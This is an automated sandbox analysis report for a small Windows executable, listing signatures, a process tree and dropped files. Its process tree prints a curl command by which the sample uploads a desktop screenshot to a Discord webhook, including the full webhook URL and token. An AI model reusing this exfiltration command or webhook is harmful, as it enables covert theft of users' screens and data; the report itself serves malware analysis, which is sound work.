Analysis

  • max time kernel
    149s
  • max time network
    126s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 02:53

General

  • Target
    C.exe
  • Size 27KB
  • Sample260604-ddb5tsat7k
  • SHA256 f494e0adb8f46c731220336a6053a2ac270e297cf33d9617d69b60d5e427e219
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10

Malware Config

Signatures

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\C.exe
    "C:\Users\Admin\AppData\Local\Temp\C.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:924
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1020
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES44A5.tmp" "c:\Users\Admin\AppData\Local\Temp\cpcucwor\CSC3E9623304B9849E29DA6FB6B66B51CD3.TMP"
        3⤵
          PID:3580
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -s -F "content=Screenshot from Admin on GGMLPSKM at 2026-06-03 22:53:18" -F file=@C:\Users\Admin\Pictures\Screenshots\screenshot_20260603_225318.png https://discord.com/api/webhooks/1511591327408586844/eUZq63EjuCEL_rVDhrSRt1s-qWrvvWjDu77j3GDo2ldXubngX8CaDfRPBeodJgD0igAu
        2⤵
          PID:3724

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            RES44A5.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES44A5.tmp
            • Size 1KB
            • SHA256 ddd20fc15ac1926da815eb13f16f9c6c8d57cabb77ba492cb46475d8e349884d
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_hftp5xzm.vhi.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hftp5xzm.vhi.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            cpcucwor.dll

            • Path C:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.dll
            • Size 3KB
            • SHA256 b08d9e9f82dd5d646fea749cded71c6b2424df9508aa047a02a85c144e2f1640
            • MD5 SHA1 SHA512 TLSH

            screenshot_20260603_225318.png

            • Path C:\Users\Admin\Pictures\Screenshots\screenshot_20260603_225318.png
            • Size 493KB
            • SHA256 82195fe80a5446aae1e09ef9e03e18307e7af927a6d0f5a386067e01f2119490
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSC3E9623304B9849E29DA6FB6B66B51CD3.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\cpcucwor\CSC3E9623304B9849E29DA6FB6B66B51CD3.TMP
            • Size 652B
            • SHA256 5b98dbc2f9251cc2ae23f72cefed4efa40b0ad35ad3df102fcc5377d4713cc13
            • MD5 SHA1 SHA512 TLSH

            cpcucwor.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.0.cs
            • Size 646B
            • SHA256 1a4fa0b5905944bae60bd38a7c13aad3c2cd535eb6e0853854771c443cc531f2
            • MD5 SHA1 SHA512 TLSH

            cpcucwor.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\cpcucwor\cpcucwor.cmdline
            • Size 423B
            • SHA256 e9e1457b1198100a4eadb877abb18286e8666ff93df664aa917d700a616049e5
            • MD5 SHA1 SHA512 TLSH

            memory/924-0-0x0000000000D10000-0x0000000000D1E000-memory.dmp

            memory/924-7-0x000000001C890000-0x000000001C8A0000-memory.dmp

            memory/924-8-0x0000000002E60000-0x0000000002E82000-memory.dmp

            memory/924-21-0x000000001BA00000-0x000000001BA08000-memory.dmp

            memory/924-22-0x000000001C890000-0x000000001C8A0000-memory.dmp